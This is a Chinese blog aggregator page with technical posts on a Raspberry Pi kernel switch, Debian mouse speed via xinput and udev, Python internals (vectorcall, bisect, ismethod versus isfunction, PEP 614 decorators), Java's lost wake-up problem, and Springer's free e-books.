  ~/w/r/pi  sudo rsync --archive --numeric-ids --acls --xattrs --human-readable --verbose --progress --stats --itemize-changes --exclude='/home/alarm/*' root/ boot
  ~/w/r/pi  umount -R boot

之后插卡通电就能使用

后续配置

之后的操作与一般linux无异,如果要升级内核的话,还需自己编译,不过建议树莓派上makepkg,配合 Distcc 使用,晚上挂上,早上起床估计就能安装了 :滑稽:

2020.08.11 更新

今天逛论坛发现aarch64的镜像发布了 (http://os.archlinuxarm.org/os/ArchLinuxARM-rpi-aarch64-latest.tar.gz) ,但重新安装系统未免太费时间,而且树莓派上的数据迁移比较麻烦,所以我直接更换了内核。
要切换Linux为主线内核其实非常简单,只需要以下几句:

paman -S linux-aarch64
pacman -S linux-api-headers

但会发现启动不了,所以还需要修改引导

pacman -S raspberrypi-bootloader
pacman -S uboot-raspberrypi

由于分区改变了,需要更新 fstab

sed -i 's/mmcblk0/mmcblk1/g' /etc/fstab

之后便可以重启使用了
需要注意的是如果更改了/boot/config.txt需要运行 /boot/mkscr来应用更改,为此需要安装 uboot-tools 软件包

参考:
- esotericnonsense:linux-raspberrypi4-aarch64

by Spirit at May 09, 2020 04:10 AM

May 02, 2020

pythoncat

天大福利!世界第一科技出版公司 Springer 免费开放 400 多本电子书!

前几天,世界著名的科技期刊/图书出版公司施普林格(Springer)宣布:免费向公众开放 400 多本正版的电子书!!
Springer 即施普林格出版社,于1842 年在德国柏林创立,20 世纪60年代建立了其国际性科技出版公司的地位。
目前,施普林格是全球第一大科技图书出版公司和第二大科技期刊出版公司,每年出版 6500 余种科技图书和约 2000 余种科技期刊。施普林格在网络出版方面居于全球领先地位,其 SpringeLink 是全球科技出版市场最受欢迎的电子出版物平台之一。(摘自百度百科)
为了核实信息源,我在其官网上找到了这则公告
简单概括:此次爆发的新冠病毒疫情对教育行业产生了前所未有的影响,所以 Springer 开启了这项全球性的电子资源开放计划,希望对高等教育与医疗机构提供一些有效的帮助!
开放的资源分三大类(德文紧急护理、英文电子书、德文电子书),官网上给出了相应的 Excel 清单:
其中,英文电子书清单有 407 本,书单中对每本书都有比较详细的介绍,还附了下载的链接:
这个天大的福利,在外网上大受欢迎(毕竟这些正版电子书每本要几十或上百美元/欧元呢)!
这么多书籍要下载并不容易,该 Python 爬虫技术登场了!Github 上有个“springer_free_books”项目,作者用他的爬虫下了 409 本,下载花了 4 个小时,下了 14 GB。
这么多书,没必要全下。Medium 上有程序员就梳理了 65 本 Python、机器学习、数据分析、计算机视觉、高等数学等领域的书籍。
这份子书单已被共享在 Google Drive 上(全是 PDF 版本):
这份资源对我们会比较有用,涵盖了 Python 编程的多个领域。先下载下来,压缩后有 856 MB。(看不看是一回事,难得的免费资源总想先存一份~~)
(需要的同学请在公众号【Python猫】后台回复【0502】,获取下载链接)
最后,不得不提一下,Springer 是一家具有极强社会公德心的企业,除了因疫情而开放的这批资源,它还有很多免费开放的资源(见:https://www.springeropen.com/books)。
甚至包括伟大的物理学家霍金的几篇研究(https://www.springer.com/gp/campaigns/physics-journals):
好了,福利信息已分享给大家,请按需索取吧。

如果觉得有帮助,希望老铁们来个三连击,给更多的人看到这篇文章

1、老铁们,我的原创微信公众号「Python猫」,会分享从 Python基础到进阶、Python设计哲学、优质文章翻译、开源项目源码分析等内容,保证你看完有所收获,敬请关注。
2、给俺点个赞呗,可以让更多的人看到这篇文章,顺便激励下我继续创作和分享,喵喵喵~~~

May 02, 2020 12:00 AM

April 25, 2020

pythoncat

Python 如何移除旧的版本特性,如何迎接新的特性?

2020 年 4 月 20 日,Python 2 的最后一个版本 2.7.18 发布了,这意味着 Python 2 是真正的 EOL(end of life)了,一个时代终于落幕了。
Python 2.0 版本是在 2000 年发布的,至今正好到 20 周年(差半年),一代版本竟然持续了这么长时间。其中,2.7 版本是在 Python 3 推出后才发布的,它在 2010 年发布,至今已是 10 年之久。
事实上,Python 诞生了 30 年,但版本演进过程一直很慢,目前最新发布的版本只到 3.8.2。
对比一下相差几岁的隔壁家选手,C++ 已经发展到了 20,JAVA 发展到了 14 ,PHP 到了 7.4,差距悬殊。
但是,版本发布太频繁,也不总是一件好事。就在 Python 程序员抱怨自己的 Python 2 项目还没升 3 版本时,有些 JAVA 程序员还在维护 6、7 版本的项目呢。版本迁移之苦,大家彼此彼此,五十步笑百步。
编程语言跨版本间出现不兼容的特性,几乎是常态。很多时候,并不是说过去的设计是 bug,只是因为编程语言也是某种“生命体”,它会学习其它语言,也会自我进化,所以就有新陈代谢。
摆脱旧的不兼容性版本或者某些落后的设计,有时候需要挺漫长的过渡期。为了方便程序员迁移,核心开发者们形成了一些有效的惯例。
以 Python 为例,我知道有以下的几种策略:

1、DeprecationWarning 提示

当使用过期的类或方法时,会出现 DeprecationWarning 告警。
例如,从 collections 模块导入 ABC(Abstract Base Classes,即抽象基类)就是过期用法,会出现以下提示:

DeprecationWarning: Using or importing the ABCs from ‘collections’ instead of from ‘collections.abc’ is deprecated since Python 3.3, and in 3.9 it will stop working

从 3.3 版本起,正确的用法是from collections.abc import Iterable ,直到 3.9 版本时,会取消过期提示,出现报错。

2、将模块改名,约定为私有

在 Python 中,以单下划线“_”开头命名的变量,会被约定为私有的。如果在一个模块中定义了私有变量,理论上它就不该被导出到其它模块使用。
这种命名方式也被推广到了标准模块上。例如,在 Python 的极早期版本中有一个thread 模块,后来到 1.5.1 版本,以 thread 为基础又推出一个更方便好用的threading 模块,也就是我们熟知的实现多线程的模块。
为了摆脱/屏蔽旧的实现,Python 把 thread 模块重命名为_thread ,约定为私有的,这种方式很灵活,普通程序员不会感知它的存在,骨灰级程序员却可以用它实现更加低层的开发。

3、文档中作 deprecated 提示

它跟 DeprecationWarning 是同样的意思。之所以要单独列出来,是因为在构思本文时,我正巧在 Python 3.8 文档中发现了一则提示,忍不住分享一下。
文档中说: @asyncio.coroutine 装饰器不再支持基于yield from 生成器实现的协程,需要显式地写成“asyc def”这种定义方式。
这意味着,3.8 版本对该特性来说就是个分界线,它将进入一个平稳的淘汰周期。
以上三种方式可谓是“除旧”,是面向过去的版本所做的。与它们相对应,就少不了“迎新”的过程,要面向未来的版本。
Python 中有时候会在当前版本中加入一些实验性的特性,期待在未来版本中再完全地实现。而这,就需要给程序员们指出一些过渡性的提示。
例如,在《Python 3.9 性能优化:更快的 list()、dict() 和 range() 等内置类型》一文中,我就介绍了隐藏在 3.8 版本中的“vectorcall”协议,它要在 3.9 版本中才会真正地实现(而且不排除在未来还会继续扩展)。
此外,还有一个很著名的例子:3.2 版本中推出的 concurrent.futures 标准库(依据 PEP-3148)。
这是一个统合了多线程与多进程的异步开发库,“concurrent”指的是并发,而“并发”概念可以囊括多线程与多进程的实现方式。
为什么在“concurrent”下面要加一个“futures”呢?PEP-3148 中指出了这样命名的三点原因,其中最后一点是:希望在将来(in the future)能够添加和移动现有的跟并发相关的库到concurrent 库下面。
也就是说,3.2 版本的concurrent.futures 就是一种实验性的设计,它是为将来更好的concurrent 库而作的准备。虽然说将来的最终实现,可能跟 PEP 中设想的不同,但是,这种面向将来的长远考虑的设计思路,会给整个社区带来某种预期和共同的信念。
好了,聊了这么多,是时候收个尾了。
我从未真正开发或维护过 Python 2 的项目,所以在这个本应纪念它 EOL 的日子,所能想到的就是一个更具普遍性的“除旧迎新”的话题:旧的版本特性是如何逐步退出的,新的版本特性又是如何逐步加入的?
如果你喜欢这种风格的文章,欢迎搜索关注公众号“Python猫”。人生苦短,让我们一起用 Python!

April 25, 2020 12:00 AM

April 22, 2020

chengweiyang

怎样修改 Debian 中鼠标移动的速度

在 debian 上被我的有线 USB 鼠标的移动速度困扰很久了,比正常的鼠标移动得快, 所以非常难操控,特别是在画图的时候。

可以使用下面 xinput 来修改鼠标的移动速度,关键是找到对应的鼠标以及对应的属性就行了。

下面是我电脑上的连接的输入设备,用 xinput 命令查看:

$ xinput list
⎡ Virtual core pointer                          id=2    [master pointer  (3)]
⎜   ↳ Virtual core XTEST pointer                id=4    [slave  pointer  (2)]
⎜   ↳ PS/2 Generic Mouse                        id=16   [slave  pointer  (2)]
⎜   ↳ SynPS/2 Synaptics TouchPad                id=17   [slave  pointer  (2)]
⎜   ↳ Logitech USB Receiver Consumer Control    id=9    [slave  pointer  (2)]
⎜   ↳ Logitech USB Receiver                     id=11   [slave  pointer  (2)]
⎜   ↳ USB Optical Mouse  Mouse                  id=13   [slave  pointer  (2)]
⎜   ↳ USB Optical Mouse  Consumer Control       id=20   [slave  pointer  (2)]
⎣ Virtual core keyboard                         id=3    [master keyboard (2)]
    ↳ Virtual core XTEST keyboard               id=5    [slave  keyboard (3)]
    ↳ Power Button                              id=6    [slave  keyboard (3)]
    ↳ Video Bus                                 id=7    [slave  keyboard (3)]
    ↳ Sleep Button                              id=8    [slave  keyboard (3)]
    ↳ HP HD Camera: HP HD Camera                id=14   [slave  keyboard (3)]
    ↳ AT Translated Set 2 keyboard              id=15   [slave  keyboard (3)]
    ↳ HP Wireless hotkeys                       id=18   [slave  keyboard (3)]
    ↳ HP WMI hotkeys                            id=19   [slave  keyboard (3)]
    ↳ Logitech USB Receiver Consumer Control    id=10   [slave  keyboard (3)]
    ↳ USB Optical Mouse  Keyboard               id=12   [slave  keyboard (3)]
    ↳ USB Optical Mouse  Consumer Control       id=21   [slave  keyboard (3)]

通过名字可以看到速度太快的鼠标是 id=13, id=20 那一对;但是要修改的是 id=13 那个, 查看它的属性,如下:

$ xinput --list-props 13
Device 'USB Optical Mouse  Mouse':
        Device Enabled (153):   1
        Coordinate Transformation Matrix (155): 1.000000, 0.000000, 0.000000, 0.000000, 1.000000, 0.000000, 0.000000, 0.000000, 1.000000
        libinput Natural Scrolling Enabled (288):       0
        libinput Natural Scrolling Enabled Default (289):       0
        libinput Scroll Methods Available (290):        0, 0, 1
        libinput Scroll Method Enabled (291):   0, 0, 0
        libinput Scroll Method Enabled Default (292):   0, 0, 0
        libinput Button Scrolling Button (293): 2
        libinput Button Scrolling Button Default (294): 2
        libinput Middle Emulation Enabled (295):        0
        libinput Middle Emulation Enabled Default (296):        0
        libinput Accel Speed (297):      0.000000
        libinput Accel Speed Default (298):     0.000000
        libinput Accel Profiles Available (299):        1, 1
        libinput Accel Profile Enabled (300):   1, 0
        libinput Accel Profile Enabled Default (301):   1, 0
        libinput Left Handed Enabled (302):     0
        libinput Left Handed Enabled Default (303):     0
        libinput Send Events Modes Available (273):     1, 0
        libinput Send Events Mode Enabled (274):        0, 0
        libinput Send Events Mode Enabled Default (275):        0, 0
        Device Node (276):      "/dev/input/event9"
        Device Product ID (277):        7119, 83
        libinput Drag Lock Buttons (304):       <no items>
        libinput Horizontal Scroll Enabled (305):       1

可以看到两个属性:

  • libinput Accel Speed (297): 0.000000
  • libinput Accel Speed Default (298): 0.000000

普通用户没有权限修改 Default 属性的值,只需要修改 297 这个属性的值即可,修改为负数表示减慢速度, 负数越大越慢,所以调整到一个合适的负数就行。

例如:

$ xinput --set-prop 13 297 -0.75

修改会立即生效,也可以通过名字来修改,并没有任何区别,如下:

$ xinput --set-prop "USB Optical Mouse  Mouse" "libinput Accel Speed" -0.75

但是这样修改后,鼠标插拔后会失效,系统重启后也会失效,xinput 并没有提供配置文件来持久化配置, 但是可以在 X 启动的时候执行,例如:把上面的命令写入 ~/.xinitrc 中,注意:使用名字配置的那个版本, 因为 ID 会变。

这样就解决了重启失效的问题,但是鼠标插拔失效还是没有解决,可以借助 udev 规则来自动设置,在 /etc/udev/rules.d 目录下新建一个文件如下:

# cat 50-slow-usb-mouse-speed.rules
ACTION=="add", KERNEL=="event9", SUBSYSTEM=="input", ATTRS{name}=="USB Optical Mouse  Mouse", RUN+="/home/chengwei/.xinput-slow-mouse.sh"

上面的过滤条件根据情况调整,可以用 udevadm 命令来查看鼠标设备的这些属性,这里不再介绍。

然后 .xinput-slow-mouse.sh 脚本内容如下:

$ cat .xinput-slow-mouse.sh
#!/bin/bash

# at doesn't support now + seconds, use sleep
echo "DISPLAY=:0 su chengwei -c 'sleep 3 && xinput --set-prop \"USB Optical Mouse  Mouse\" \"libinput Accel Speed\" -0.75'" | at now

这里之所以要写这么麻烦,是因为 udev RUN 是一个阻塞的运行,它执行完之后,xinput 才能找到设备, 所以在泽哥脚本里要想用 xinput 设置属性是不可能的,所以引入了 at 命令;它会在指定的时间在后台运行命令。

但是,at 命令不支持几秒后执行,最小的粒度是分钟后,或者指定绝对时间,所以,这里使用了 sleep 命令。

April 22, 2020 04:00 PM

Google Chrome 浏览器中无法使用 shift 键切换 ibus-sunpinyin 中英文输入

之前有遇到过 ibus-pinyin 输入法会导致隐藏光标的问题,然后就切换到了 ibus-sunpinyin 输入法,后来又遇到 sunpinyin 输入法在 google chrome 浏览器中无法使用 shift 键切换中英文输入的问题。

在解决了 ibus-pinyin 隐藏光标的问题之后,果断切回 ibus-pinyin,因为 ibus-pinyin 在 google chrome 中是可以用 shift 切换中英文输入的,所以看起来是 google chrome 和 ibus-sunpinyin 之间有冲突,并且在 google chrome 的帮助网站里,也有不少人反馈这个问题, 但是无奈被关闭了,并没有解决。

后续应该可以看下 ibus-pinyin 和 ibus-sunpinyin 的代码,应该可以解决。

April 22, 2020 04:00 PM

April 21, 2020

pythoncat

Python 3.9 性能优化:更快的 list()、dict() 和 range() 等内置类型

Python 的 3.9.0 版本正在开发中,计划在 2020-10-05 发布 final 版本。
官方在 changelog 中披露了很多细节,其中有一项“vectorcall”特性是最容易被接受的,本文打算带大家先来一探究竟。
事实上,早在 Python 3.8 版本中就已部分地实现了 vectorcall,只不过它是暂时性的,被隐藏起来了,按计划是在 3.9 版本中实现完全体。下图是 3.8 版本中的简介:
那么,什么是 vectorcall 呢?它会带来哪些变化呢?
“a fast calling protocol for CPython”,即它是 CPython 的一种快速调用协议,可以加速 CPython 解释器在调用类对象时的速度。
(PS:需要注意的是,这里说的“协议”是一种广义的称呼,它跟我们熟知的网络协议或通信协议不同,可理解为对代码作调用时的一种约定、一种实现方式)
这种协议是在 PEP-590 中被提出的(时间是 2019-03-29),对应的 bpo 是 issue37207,历时近一年的开发,目前它的实现已合入了代码仓。
用一句话概括它的核心要点是:它将提升 list()、tuple()、dict() 等主要类型的调用速度,同时它还可以被用在自定义的类上。
结合 PEP 与 bpo 信息,我提炼了以下的详细要点:
  • vectorcall 是对 fastcall 的正式化。在之前的 CPython 中存在一些零散的优化点(即 fastcall),如今官方把它们系统化了,给出了一个正式的“vectorcall”称呼
  • vectorcall 适用于多数内置类型。据当前的披露信息,它适用于 list、tuple、dict、set、frozenset 与 range 这 6 种主要的内置类型(部分测量数据显示,速度提升率达 10%~30%)
  • vectorcall 是对性能与灵活性的调和。之前的解释器具有很高的灵活性,但是在对象调用过程中,存在不必要的中间对象以及间接的调用开销,如今是设法消除了这部分开销,得以提升了性能
PEP-590 中还详细介绍了 CPython 的实现细节,并罗列了 C API 的变化点,这部分内容就不展开了,感兴趣的同学请自行查阅文档。
--------猫哥碎碎念分割线--------
主要的内容就算介绍完了,它很简单,并不难理解,不会带来学习的负担,也不会造成什么意见分歧。
但是说句老实话,这个性能提升可能显得有点“费力不讨好”:内置类型的调用速度并不会造成什么性能问题(并不慢),而提升空间也仅是纳秒/微秒级别,非常有限。多名核心开发者花费大半年时间和精力,到底值不值得?
我们恐怕都没有对此作出价值评判的资格。仁者见仁,智者见智。
但是,也许我们可以往乐观的方面想:对于这种微不足道的性能提升,核心开发者们都能认真对待、精益求精、持续投入、考虑全面,那在其它方面上也绝不会逊色。所以,我们有理由对 Python 的未来保持乐观的希望!
--------猫哥碎碎念分割线--------
相关链接:

April 21, 2020 12:00 AM

April 19, 2020

pythoncat

不使用 if-elif 语句,如何优雅地判断某个数字所属的等级?

偶然看到了 stackoverflow 上的一个问题,还挺有启发,故分享一下。
题目大意是:有从 A 到 F 的 5 个等级,现要判断某个数值(从 0 到 1 之间)所属的等级。举例,如数值 >= 0.9,则属于 A;若数值 >= 0.8,则属于 B;以此类推。
若使用 if-elif 语句,可能会写成这样:
if scr >= 0.9:
    print('A')
elif scr >= 0.8:
    print('B')
elif scr >= 0.7:
    print('C')
elif scr >= 0.6:
    print('D')
else:
    print('F')
此写法出现了很多重复的模式,不够简洁优雅。有什么更好的写法,来实现这个目的呢?
该问题下的回答挺多的,实现思路五花八门。我挑几个可读性比较好:
方法一:使用bisect 模块(数字可调)
方法二:使用 zip() 与 next()
方法三:使用字典(仅适用于 Python 3.6 以上的有序字典)
还有其它几个回答,虽然都能实现数字分级的目的,但是其可读性要差很多,因为它们要么需要你作计算和推理,要么就是引入了额外的变量。
纵观全部答案后,我认为还是使用bisect 的方法最高效优雅,不愧是它获得了最高的赞同票。
这里简单分析下它的实现过程。
bisect 是 Python 内置的标准库,实现了二分查找算法。所谓二分查找,也被称为“折半查找”(Binary Search),其基本思想是把有序排列的 n 个元素平均分成两半,然后将待查找的 x 与中间元素比较,若 x 小于中间元素,则将左半段二分,再将 x 与其中间元素比对,以此类推。
这是一个简单的图示例子:
bisect 库中的 bisect() 方法,查找元素 x 在一个升序序列中的插入点 i,使得插入点左侧的元素都小于等于 x,插入点右侧的元素都大于 x。
对照前面的例子:
from bisect import bisect 

def grade(score, breakpoints=[60, 70, 80, 90], grades='FDCBA'):
     i = bisect(breakpoints, score)
     return grades[i]
可以化简成两部分:
  • bisect([60, 70, 80, 90], score),返回插入点的值。假如 score 是 59,计算得出插入点在 60 的左侧,而 Python 列表的索引值是以 0 开始,所以返回插入点的值为 0;假如 score 是 60,计算得出插入点在 60 的右侧,即返回索引值为 1。
  • ‘FDCBA’[i],返回索引值为 i 的字符。假如 i 是 0,得到“F”;假如 i 是 3,得到“B”……
二分查找算法是效率较高的算法,时间复杂度为 O(logn)。该题目的查找范围很小,所以时间效率差别不大。但是其写法称得上是 Pythonic,值得借鉴。
另外,再看看前面的方法三(使用字典),它的可读性很强,即顺次将 scr 与字典中的值比较(从高往低,即 0.9~0.5),以此得出对应的键值。(PS:它多分了一个“E”级,可去掉)
如果 Python 版本低于 3.6,则 grades.items() 会是无序的,将会破坏比较的顺序。为了兼容性,可以修改成 sorted(grades.items()):
这种写法没有引入额外的库,使用的 items() 与 sorted() 都是基础知识(相比于方法二的 zip() 与 next()),简单实用,也非常值得推荐。
不管怎么说,反复使用 if-elif 语句的判断方式是挺笨拙的,必须改进。文中列出的都是目前比较受认可的回答。
如果有面试官把它作为面试题,我觉得会挺有意思:难度不大,有发挥空间。
读者们可有其它想法?欢迎留言讨论。

April 19, 2020 12:00 AM

April 11, 2020

pythoncat

官宣!Python 开发者大会(PyCon US)提供在线订阅啦!

2020年一开年,我们就遇到了一个天大的“黑天鹅”事件,如今它已蔓延成为了一个全球性事件,而且似乎还要持续一段挺长的时间。
各行各业的人们都受到了牵连,各种计划和安排也要被迫作出调整。今年的 PyCon US 原计划于 4 月 15 日在匹茨堡(一座美国城市)举行,受到疫情影响,无奈取消!
然而,官方很快又发布了新消息,宣布会通过线上方式,来分享录制好的演讲、教程和海报等内容!
官方给出了以下的订阅通道:
在两天前,最新的一封邮件披露了线上分享内容的细节:除了常规的资料型内容,还会有虚拟展厅;从 4 月 15 日开始,线上分享会持续一个月!
这应该是前所未有的先例,虽然不是在线直播,但对 Python 开发者/爱好者们来说,已是极大的好消息了!
我迫不及待地订阅/关注了!
也许还有读者不是很了解 PyCon,我给大家稍微科普一下:
所谓 PyCon,就是在 PSF (Python 软件基金会)授意下,各个国家或地区的开发者们自行组织的一种活动。一般而言,活动每年办一次,持续两三天时间,主体内容是嘉宾们的主题演讲,同时还有闪电开发、闪电演讲、聚餐和展览等丰富的内容。
PyCon US 指的是美国的 PyCon,它是最早成立、最成熟、最高规格、最高质量的一个,基本上是每年开发者社区里最值得期待的事情。
当然,世界各地还有不少本土化的 PyCon,比如我国的 PyCon China(大陆)、PyCon HK(香港)和 PyCon TW(台湾)。
最近两年里,PyCon China 的组委会很给力,举办的活动口碑大涨。2019 年,它在上海、北京、深圳、杭州、成都、南宁六地联动举办,上万名开发者参与其中,呈现出一派蒸蒸日上的局面!
如果你对国内 PyCon 感兴趣的话,可以关注 PyChina 公众号(id:PyChinaOrg ),另外,捕蛇者说(目前最好的中文 Python 播客) 在去年出了一期《主播带你逛 PyCon》(https://pythonhunter.org/episodes/4)节目,推荐一听。
现在距离 PyCon US 2020 活动开始的时间,只有不到一周了。官方之前发布过一份日程表,列出了 30+ 主题演讲的题目与嘉宾,很值得期待!
最后来个结尾:人生苦短,我用 Python!

April 11, 2020 12:00 AM

April 09, 2020

pythoncat

学编程这么久,还傻傻分不清什么是方法(method),什么是函数(function)?

在编程语言中有两个很基础的概念,即方法(method)和函数(function)。如果达到了编程初级/入门级水平,那么你肯定在心中已有了初步的答案。
也许在你心中已有答案了
除去入参、返回值、匿名函数之类的正确的形式内容之外,你也许会说“函数就是定义在类外面的,而方法就是定义在类里面的,跟类绑定的”。
这种说法有没有问题呢?当然有!不然我就不会专门写这篇文章了,本文主要会来厘清这个问题。
在标准库inspect 中,它提供了两个自省的函数,即 ismethod() 和 isfunction(),可以用来判断什么是方法,什么是函数。
因此,本文想要先来研究一下这两个函数,看看 Python 在处理方法/函数的概念时,是怎么做的?
关于它们的用法,先看一个最简单的例子:
运行的结果分别是“True”和“False”,表明我们所定义的 test() 是一个函数,而不是一个方法。
这两个函数也可以用来检测自身,不难验证出它们都是一种函数:
那么,接下来的问题是:inspect 库的两个函数是什么工作原理呢?
先来看看 inspect 中的实现代码:
在源码中,我们看到了 isinstance() 函数,它主要用于判断一个对象(object)是否是某个类(class)的实例(instance)。
我们还看到了 types.FunctionTypetypes.MethodType ,它们指的就是目标类。继续点进去看源码:
# 摘自 types.py
def _f(): pass
FunctionType = type(_f)

class _C:
    def _m(self): pass
MethodType = type(_C()._m)
这里只是定义了两个空的 _f() 和 _m(),然后就使用了内置的 type() 函数。所以,我们完全可以把它们摘出来,看看庐山真面目:
梳理它们的关系,可以得到:
经过简化处理后,我们发现最关键的是两个问题:type() 函数如何判断出一个对象是 function 或 method 类?instance() 函数如何判断出一个对象是某个类的实例?
这两个内置函数都是用 C 语言实现的,这里我就不打算继续深究了……
但是,让我们再回头看看 inspect 中的注释,就会注意到一些端倪:
  • isfunction() 判断出的是用户定义的函数(user-defined function), 它拥有__doc__、__name__ 等等属性
  • ismethod() 判断出的是实例方法(instance method), 它拥有函数的一些属性,最特别的是还有一个 __self__ 属性
还是注释更管用啊,由此我们能得到如下的推论:
1、非用户定义的函数,即内置函数,在 isfunction() 眼里并不是“函数”(FunctionType)!
下面验证一下 len()、dir() 和 range():
事实上,它们有专属的类别(BuiltinFunctionType、BuiltinMethodType):
特别需要注意的是,内置函数都是builtin_function_or_method 类型,但是 range()、type()、list() 等看起来像是函数的,其实不然:
(PS:关于这点,我这篇文章 曾提到过,就不再展开了。)
2、一个类的静态方法,在 ismethod() 眼里并不是方法(MethodType)!
创建了类的实例后,再看看:
可以看出,除了 classmethod 之外,只有类实例的实例方法,才会被 ismethod() 判定为真!而静态方法,不管绑定在类还是实例上,都不算是“方法”!
有没有觉得很不可思议(或者有点理不清了)?
好了,回到本文开头的问题,我们最后来小结一下吧。
若以 inspect 库的两个函数为判断依据,则 Python 中的“方法与函数”具有一定的狭义性。在判断什么是函数时,它们并不把内置函数计算在内。同时,在判断什么是方法时,并非定义在类内部的都算,而是只有类方法及绑定了实例的实例方法才算是“方法”。
也许你会说,inspect 的两个判断函数并不足信,内置函数也应该算是“函数”,类里面的所有方法都应该算是“方法”。
我承认这种说法在广义上是可接受的,毕竟我们一直叫的就是“XX函数”、“XX方法”嘛。
但是,理论和广义概念只是方便人们的沟通理解,而代码实现才是本质的区别。也就是说,Python 在实际区别“方法与函数”时,并不是文中开头的简单说法,还有更多的细节值得关注。
看完本文,你有什么想法呢?欢迎一起交流。

April 09, 2020 12:00 AM

March 26, 2020

muguang

多线程中的「lost wake up 问题」

问:Java 多线程中 wait() 方法为什么要放在同步块中?
答:为了避免「lost wake up 问题」,即「无法唤醒问题」。

什么是「lost wake up 问题」

我对「lost wake up 问题」的通俗理解:线程 A 调用 wait() 方法进入阻塞状态,接下来没有其他线程去唤醒线程 A,或者其他线程唤醒时机不对(早于线程 A 的 wait() ),导致线程 A 永远阻塞下去。

有中文资料对这个问题作出过解释:Java中wait()方法为什么要放在同步块中?(lost wake-up 问题),文中举了生产者和消费者的例子,但我觉得此文的结论并未触达核心,需要对文中的例子和结论多做一下补充,理解起来会方便一点。

现在有一个生产者线程和消费者线程:
先定义一个 obj 对象,并将其 count 属性的初始值设置为 0:

Object obj = new Object();
obj.count = 0;

生产者伪代码:

obj.count++;
obj.notify();

消费者伪代码:

while(obj.count<=0)
    obj.wait();
obj.count--;

两个线程启动,消费者检查 obj.count 的值,发现 obj.count <= 0 条件成立,但这时由于 CPU 的调度,发生上下文切换,生产者开始工作,执行了 count+1obj.notify(),也就是发出通知,准备唤醒一个阻塞的线程。然后 CPU 调度到消费者,此时消费者开始执行 obj.wait(),线程进入阻塞。但生产者已经早在消费者阻塞前执行了唤醒动作,也就导致消费者永远无法醒来了。

1644918-20190619224558253-730645351.png

随便加个锁能解决「lost wake up 问题」吗

不能,举个例子。

定义一把锁:

Lock lock1 = new Lock();

生产者伪代码:

lock1.lock();
obj.count++;
obj.notify();
lock1.unlock();

消费者伪代码:

lock1.lock();
while(count<=0)
    obj.wait();
obj.count--;
lock1.unlock();

两个线程启动,obj.count 初始值为 0。假设消费者先竞争到锁,while 中的 obj.count<=0 条件满足,执行 obj.wait() 使线程进入阻塞状态,lock1 锁没有被释放,所以生产者拿不到锁,也就无法 obj.notify() 通知消费者醒来,消费者将永远阻塞下去。

Java 中什么锁才能解决「lost wake up 问题」

只有上述例子中的 obj 对象锁才能避免这个问题,也就是将 obj.wait()obj.notify() 放进 obj 对象锁的同步块中。如果锁的不是例子中的 obj 对象,Java 就会抛出 IllegalMonitorStateException 异常。

生产者伪代码:

synchronized (obj) {
    obj.count++;
    obj.notify();
}

消费者伪代码:

synchronized (obj) {
    while(count<=0)
       obj.wait();
    obj.count--;
}

Java 中对 wait() 方法的注释中提到:线程在调用 obj.wait() 前必须要拿到当前 obj 对象的监视器 monitor 对象,即 obj 的锁。只有这样,当执行到 obj.wait() 时,该线程才可以暂时让出 obj 的同步锁并停止对锁的竞争,让其他正在等待此锁的线程可以得到同步锁并运行。

在上述例子中,消费者执行到 obj.wait() 时,让出了 obj 锁,停止了对锁的竞争,进入阻塞状态,紧接着生产者竞争到 obj 锁,执行了 obj.notify() 方法,唤醒了消费者,使消费者线程从阻塞状态重新回到就绪状态。

这里要注意的是,obj.notify() 并不是让生产者马上释放锁,也不是让消费者马上得到锁,而是通知消费者线程可以重新去参与锁的竞争了。

by 大袋鼠 at March 26, 2020 05:06 PM

March 20, 2020

pythoncat

Python 3.9 新特性:任意表达式可作为装饰器!

一个月前(2月20日),一则新的 PEP 没有受到任何阻碍就被官方采纳了,这么快的速度,似乎并不多见。
然而,更为高效率的是,仅在半个月内,它的实现就被合入了代码仓。也就是说,我们最快有望在 3 天后(3月23日)发布的 3.9.0 alpha 5 版本中看到它!
Python 3.9 的发布计划:
这个 PEP 就是 PEP-614:放宽对装饰器的语法限制。
当前装饰器的语法为:
decorator: '@' dotted_name [ '(' [arglist] ')' ] NEWLINE
PEP-614 提议将其简化为:
decorator: '@' namedexpr_test NEWLINE
我已经把 PEP 全文翻译出来了,Github 地址:http://dwz.date/RV9
放宽对装饰器的限制,这对之前的用法没有影响,但至于会带来哪些新的好处,我还不知道有哪些现实的例子。
下面是 PEP 翻译后的核心内容摘录,先跟大家一睹为快吧:
--------------摘录分割线----------------

概要

Python 当前要求所有装饰器都由 dotted name 组成,可选地带一个调用。本 PEP 提议消除这些限制,并允许任何有效的表达式作为装饰器。
(译注:dotted name,指的是装饰器在“@”符号后是“xxx”或“xxx.yyy”这种格式。没有很好地译法,故未译。)

动机

在最初引入装饰器时,Guido表示对其语法作限制是一种偏好,而不是因为技术的要求:

我对此有一种直觉。我不确定它来自哪里,但我就是有……因此,尽管将来将语法更改为 @test 相当容易,但我仍想坚持使用更受限的形式,除非给出了真正的使用 @test 会增加可读性的用例。

尽管在实践中很少遇到问题,但是多年来,BPO问题邮件列表帖子不断出现,要求去除限制。最近的一封邮件(它促成了本提案)提供了一段很好的使用 PyQt5 库的示例代码,如果放宽现有的限制,它将变得更具可读性、地道性和可维护性。
稍作修改的示例:
buttons = [QPushButton(f'Button {i}') for i in range(10)]

# Do stuff with the list of buttons...

@buttons[0].clicked.connect
def spam():
    ...

@buttons[1].clicked.connect
def eggs():
    ...

# Do stuff with the list of buttons...
当前,这些装饰必须重写成这样(译注:上方是假想的最优写法,但 Python 还不支持,只能用下方的啰嗦写法):
button_0 = buttons[0]

@button_0.clicked.connect
def spam():
    ...

button_1 = buttons[1]

@button_1.clicked.connect
def eggs():
    ...
此外,当前的语法太过宽松,以至于无法将更复杂的装饰器表达式结合在一起。也就是说,当前的限制并没有像预期的那样去禁止任意复杂的表达式,而是使它们变得更丑陋且效率低下:
# Identity function hack:

def _(x):
    return x

@_(buttons[0].clicked.connect)
def spam():
    ...

# eval hack:

@eval("buttons[1].clicked.connect")
def eggs():
    ...

原理

允许任意表达式

在相当长的一段时间内,允许任意有效表达式的决定(而不仅仅是放宽当前的限制,如允许取下标),已被视为装饰器语法发展的下一个顺理成章的步骤。正如Guido 在另一个邮件列表讨论中所说

我觉得强制约束它没有什么道理,因为它已不再是一个普通的表达式。

若对语法进行特殊设置以允许某些有用的用法,只会使当前情况复杂化,并且几乎能肯定此过程会在将来的某个时间重复。此外,这种语法上的改变的目的之一是阻止使用上述的 eval 和反模式的 identity-function 之类的诱惑。
简而言之:如果要删除一些限制,我们应该删除所有限制。

什么算一个“表达式”

